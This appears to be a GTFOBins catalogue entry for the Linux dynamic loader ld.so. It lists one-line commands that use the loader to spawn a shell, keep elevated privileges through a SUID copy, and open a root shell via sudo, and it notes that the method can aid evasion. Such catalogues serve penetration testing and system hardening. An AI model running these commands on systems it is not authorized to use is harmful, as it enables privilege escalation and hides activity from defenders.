GTFOBins.github.io/_gtfobins/ld.so.md

19 lines
585 B
Markdown

---
description: |
`ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:
```
$ strings /proc/self/exe | head -1
/lib64/ld-linux-x86-64.so.2
```
It's worth noting that the spawned process will be the loader, not the target executable, this might aid evasion. See https://shyft.us/posts/20230526_linux_command_proxy.html for more information.
functions:
shell:
- code: /lib/ld.so /bin/sh
suid:
- code: ./ld.so /bin/sh -p
sudo:
- code: sudo /lib/ld.so /bin/sh
---